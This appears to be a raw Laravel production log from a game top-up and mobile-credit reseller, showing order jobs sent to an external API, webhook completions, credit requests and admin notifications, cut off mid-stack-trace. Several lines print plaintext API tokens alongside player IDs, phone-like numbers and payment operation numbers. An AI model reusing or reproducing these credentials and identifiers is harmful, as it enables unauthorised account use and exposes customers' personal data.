[2026-03-24 20:12:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"processed":3,"errors":0} 
[2026-03-24 20:12:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172} 
[2026-03-24 20:12:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1424  
[2026-03-24 20:12:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 20:12:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 20:12:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 20:12:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4yhzFQRJ-1774372138","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:12:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-4yhzFQRJ-1774372138","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:12:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:12:02] production.INFO: SendAcceptReject: Notification queued {"user_id":769,"notification_type":"order_approved","reference_id":179286} 
[2026-03-24 20:12:02] production.INFO: Order updated successfully. Order ID: 179286, Status: completed  
[2026-03-24 20:12:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4yhzFQRJ-1774372138","status":"completed","codes_count":0} 
[2026-03-24 20:12:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 769  
[2026-03-24 20:13:08] production.INFO: SendAcceptReject: Notification queued {"user_id":562,"notification_type":"request_approved","reference_id":18692} 
[2026-03-24 20:13:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 562  
[2026-03-24 20:13:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 20:13:18] production.INFO: SendAcceptReject: Notification queued {"user_id":357,"notification_type":"request_approved","reference_id":18693} 
[2026-03-24 20:13:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 357  
[2026-03-24 20:13:52] production.INFO: Constructing job for order: 179295  
[2026-03-24 20:13:54] production.INFO: Handling job for order: 179295  
[2026-03-24 20:13:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:13:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:13:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=326f8707-6e74-44a8-ab7e-01052381cb67&Player_ID=58904149  
[2026-03-24 20:13:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=326f8707-6e74-44a8-ab7e-01052381cb67&Player_ID=58904149","has_body":false} 
[2026-03-24 20:13:55] production.INFO: Operation sent successfully {"operation_id":164175,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-QqPYPfrJ-1774372435","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive","notes":[],"created_at":"2026-03-24 20:13:55"}},"processed_data":{"order_number":"ORD-QqPYPfrJ-1774372435","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive"}} 
[2026-03-24 20:13:58] production.INFO: SendAcceptReject: Notification queued {"user_id":290,"notification_type":"request_approved","reference_id":18669} 
[2026-03-24 20:13:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 20:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01"} 
[2026-03-24 20:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","total_operations":3,"sites_count":1} 
[2026-03-24 20:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-WrfLT-1774372291","ORD-ad83fqBp-1774372314","ORD-QqPYPfrJ-1774372435"]} 
[2026-03-24 20:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ad83fqBp-1774372314","operation_id":164174} 
[2026-03-24 20:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175} 
[2026-03-24 20:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173} 
[2026-03-24 20:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 20:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"processed":0,"errors":0} 
[2026-03-24 20:14:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"glu4EKSXkGr61x6Mr2DzQ94pTkExYg8a","execution_time":"2026-03-24 20:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173} 
[2026-03-24 20:14:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WrfLT-1774372291","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:14:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-WrfLT-1774372291","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:14:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:14:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1463,"notification_type":"order_approved","reference_id":179292} 
[2026-03-24 20:14:03] production.INFO: Order updated successfully. Order ID: 179292, Status: completed  
[2026-03-24 20:14:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WrfLT-1774372291","status":"completed","codes_count":0} 
[2026-03-24 20:14:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ad83fqBp-1774372314","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:14:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-ad83fqBp-1774372314","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:14:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:14:04] production.INFO: SendAcceptReject: Notification queued {"user_id":562,"notification_type":"order_approved","reference_id":179293} 
[2026-03-24 20:14:04] production.INFO: Order updated successfully. Order ID: 179293, Status: completed  
[2026-03-24 20:14:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ad83fqBp-1774372314","status":"completed","codes_count":0} 
[2026-03-24 20:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 20:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 562  
[2026-03-24 20:14:10] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2500.0","mainamount":"2500","operation_number":"158682808","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phph3loi2ffs9fiaMWjTmx"}},"user_id":1158} 
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:14:10] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:14:10] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18694,"user_id":1158,"amount":2500.0,"admins_notified":7} 
[2026-03-24 20:14:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 20:14:38] production.INFO: Constructing job for order: 179296  
[2026-03-24 20:14:41] production.INFO: Handling job for order: 179296  
[2026-03-24 20:14:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:14:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:14:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/17/params?qty=1&uuid=3bfabfb1-2b3e-441f-8fb5-568a71ea9c2a&Player_ID=0958645094  
[2026-03-24 20:14:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/17/params?qty=1&uuid=3bfabfb1-2b3e-441f-8fb5-568a71ea9c2a&Player_ID=0958645094","has_body":false} 
[2026-03-24 20:14:41] production.INFO: Operation sent successfully {"operation_id":164176,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qYxb5k-1774372481","amount":633.2015999999999849023879505693912506103515625,"status":"processing","product":"600 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:14:41"}},"processed_data":{"order_number":"ORD-qYxb5k-1774372481","amount":633.2015999999999849023879505693912506103515625,"status":"processing","product":"600 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:14:42] production.INFO: Constructing job for order: 179297  
[2026-03-24 20:14:44] production.INFO: Handling job for order: 179297  
[2026-03-24 20:14:44] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:14:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:14:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=f5647c6c-8b68-47eb-83f6-ab89fe6b3a0d&Player_ID=61289265  
[2026-03-24 20:14:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/96/params?qty=15000&uuid=f5647c6c-8b68-47eb-83f6-ab89fe6b3a0d&Player_ID=61289265","has_body":false} 
[2026-03-24 20:14:45] production.INFO: Constructing job for order: 179298  
[2026-03-24 20:14:45] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:14:45] production.INFO: Operation sent successfully {"operation_id":164177,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2qaTs-1774372485","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive","notes":[],"created_at":"2026-03-24 20:14:45"}},"processed_data":{"order_number":"ORD-2qaTs-1774372485","amount":1.525735500000000133269395519164390861988067626953125,"status":"processing","product":"Poppo Amount","game":"PoppoLive"}} 
[2026-03-24 20:14:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 20:14:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1427  
[2026-03-24 20:14:48] production.INFO: Handling job for order: 179298  
[2026-03-24 20:14:48] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:14:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:14:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=93e02e25-e2d9-4324-ad2e-7c0d7955d440&Player_ID=0958645094  
[2026-03-24 20:14:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=93e02e25-e2d9-4324-ad2e-7c0d7955d440&Player_ID=0958645094","has_body":false} 
[2026-03-24 20:14:49] production.INFO: Operation sent successfully {"operation_id":164178,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7KUNpe0-1774372489","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:14:49"}},"processed_data":{"order_number":"ORD-7KUNpe0-1774372489","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:14:57] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"430.0","mainamount":"430","operation_number":"600431065140","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpq0kg9soi84l45EcXdgl"}},"user_id":1712} 
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:14:58] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:14:58] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18695,"user_id":1712,"amount":430.0,"admins_notified":7} 
[2026-03-24 20:15:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 20:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:15:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:15:06] production.INFO: async() رجع: true  
[2026-03-24 20:15:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:15:06] production.INFO: Constructing job for order: 179299  
[2026-03-24 20:15:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:15:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:15:07] production.INFO: Handling job for order: 179299  
[2026-03-24 20:15:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:15:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:15:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=e699c49d-c4da-4d1c-943a-c47873b0f937&Player_ID=52294560381  
[2026-03-24 20:15:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=e699c49d-c4da-4d1c-943a-c47873b0f937&Player_ID=52294560381","has_body":false} 
[2026-03-24 20:15:08] production.INFO: Operation sent successfully {"operation_id":164179,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5zMkuck7-1774372508","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:15:08"}},"processed_data":{"order_number":"ORD-5zMkuck7-1774372508","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 20:15:11] production.INFO: Constructing job for order: 179300  
[2026-03-24 20:15:14] production.INFO: Handling job for order: 179300  
[2026-03-24 20:15:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:15:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:15:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=2f519046-006f-4c6c-aacb-e90a64bb3c23&Player_ID=52297319833  
[2026-03-24 20:15:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=2f519046-006f-4c6c-aacb-e90a64bb3c23&Player_ID=52297319833","has_body":false} 
[2026-03-24 20:15:15] production.INFO: Operation sent successfully {"operation_id":164180,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xCsx-1774372515","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:15:15"}},"processed_data":{"order_number":"ORD-xCsx-1774372515","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 20:15:18] production.INFO: Constructing job for order: 179301  
[2026-03-24 20:15:21] production.INFO: Handling job for order: 179301  
[2026-03-24 20:15:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:15:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:15:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=9d4a2ea3-7039-4c65-97c8-3af330e1a98f&Player_ID=0994751527  
[2026-03-24 20:15:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=9d4a2ea3-7039-4c65-97c8-3af330e1a98f&Player_ID=0994751527","has_body":false} 
[2026-03-24 20:15:21] production.INFO: Constructing job for order: 179302  
[2026-03-24 20:15:22] production.INFO: Operation sent successfully {"operation_id":164181,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TYxH-1774372522","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:15:22"}},"processed_data":{"order_number":"ORD-TYxH-1774372522","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:15:22] production.INFO: Handling job for order: 179302  
[2026-03-24 20:15:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:15:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:15:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=85581f95-f069-4feb-8f84-b65b802cf9b2&Player_ID=52260089798  
[2026-03-24 20:15:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=85581f95-f069-4feb-8f84-b65b802cf9b2&Player_ID=52260089798","has_body":false} 
[2026-03-24 20:15:23] production.INFO: Operation sent successfully {"operation_id":164182,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bG20n-1774372523","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:15:23"}},"processed_data":{"order_number":"ORD-bG20n-1774372523","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:15:24] production.INFO: Constructing job for order: 179303  
[2026-03-24 20:15:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xCsx-1774372515","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:15:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-xCsx-1774372515","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:15:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:15:24] production.INFO: SendAcceptReject: Notification queued {"user_id":1427,"notification_type":"order_approved","reference_id":179300} 
[2026-03-24 20:15:24] production.INFO: Order updated successfully. Order ID: 179300, Status: completed  
[2026-03-24 20:15:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xCsx-1774372515","status":"completed","codes_count":0} 
[2026-03-24 20:15:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1427  
[2026-03-24 20:15:26] production.INFO: Handling job for order: 179303  
[2026-03-24 20:15:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:15:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:15:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=15b97583-dc37-40b3-94e2-2e0105ceffb3&Player_ID=52294560381  
[2026-03-24 20:15:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=15b97583-dc37-40b3-94e2-2e0105ceffb3&Player_ID=52294560381","has_body":false} 
[2026-03-24 20:15:27] production.INFO: Operation sent successfully {"operation_id":164183,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-B2t94L-1774372526","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:15:27"}},"processed_data":{"order_number":"ORD-B2t94L-1774372526","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 20:15:27] production.INFO: Constructing job for order: 179304  
[2026-03-24 20:15:30] production.INFO: Handling job for order: 179304  
[2026-03-24 20:15:30] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:15:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:15:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=750a5b98-f009-4c5a-9805-e9f6fe809f33&Player_ID=0994751527  
[2026-03-24 20:15:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=750a5b98-f009-4c5a-9805-e9f6fe809f33&Player_ID=0994751527","has_body":false} 
[2026-03-24 20:15:30] production.INFO: Operation sent successfully {"operation_id":164184,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wGV5-1774372530","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:15:30"}},"processed_data":{"order_number":"ORD-wGV5-1774372530","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:15:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bG20n-1774372523","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:15:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-bG20n-1774372523","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:15:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:15:36] production.INFO: SendAcceptReject: Notification queued {"user_id":189,"notification_type":"order_approved","reference_id":179302} 
[2026-03-24 20:15:36] production.INFO: Order updated successfully. Order ID: 179302, Status: completed  
[2026-03-24 20:15:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bG20n-1774372523","status":"completed","codes_count":0} 
[2026-03-24 20:15:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 189  
[2026-03-24 20:15:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-B2t94L-1774372526","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:15:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-B2t94L-1774372526","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:15:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:15:39] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179303} 
[2026-03-24 20:15:39] production.INFO: Order updated successfully. Order ID: 179303, Status: completed  
[2026-03-24 20:15:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-B2t94L-1774372526","status":"completed","codes_count":0} 
[2026-03-24 20:15:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 20:15:53] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"10.0","mainamount":"10","operation_number":"4664959","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpd4q81mfpf5n3bptbhsX"}},"user_id":290} 
[2026-03-24 20:15:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:15:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:15:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:15:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:15:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:15:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:15:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:15:55] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:15:55] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18696,"user_id":290,"amount":10.0,"admins_notified":7} 
[2026-03-24 20:16:00] production.INFO: Constructing job for order: 179305  
[2026-03-24 20:16:01] production.INFO: Handling job for order: 179305  
[2026-03-24 20:16:01] production.ERROR: API failed for order 179305 {"order_id":179305,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179305, 885, 1, '2cb73886-142c-4...', '[{\"key\":\"userna...', 31, 29)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179305)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
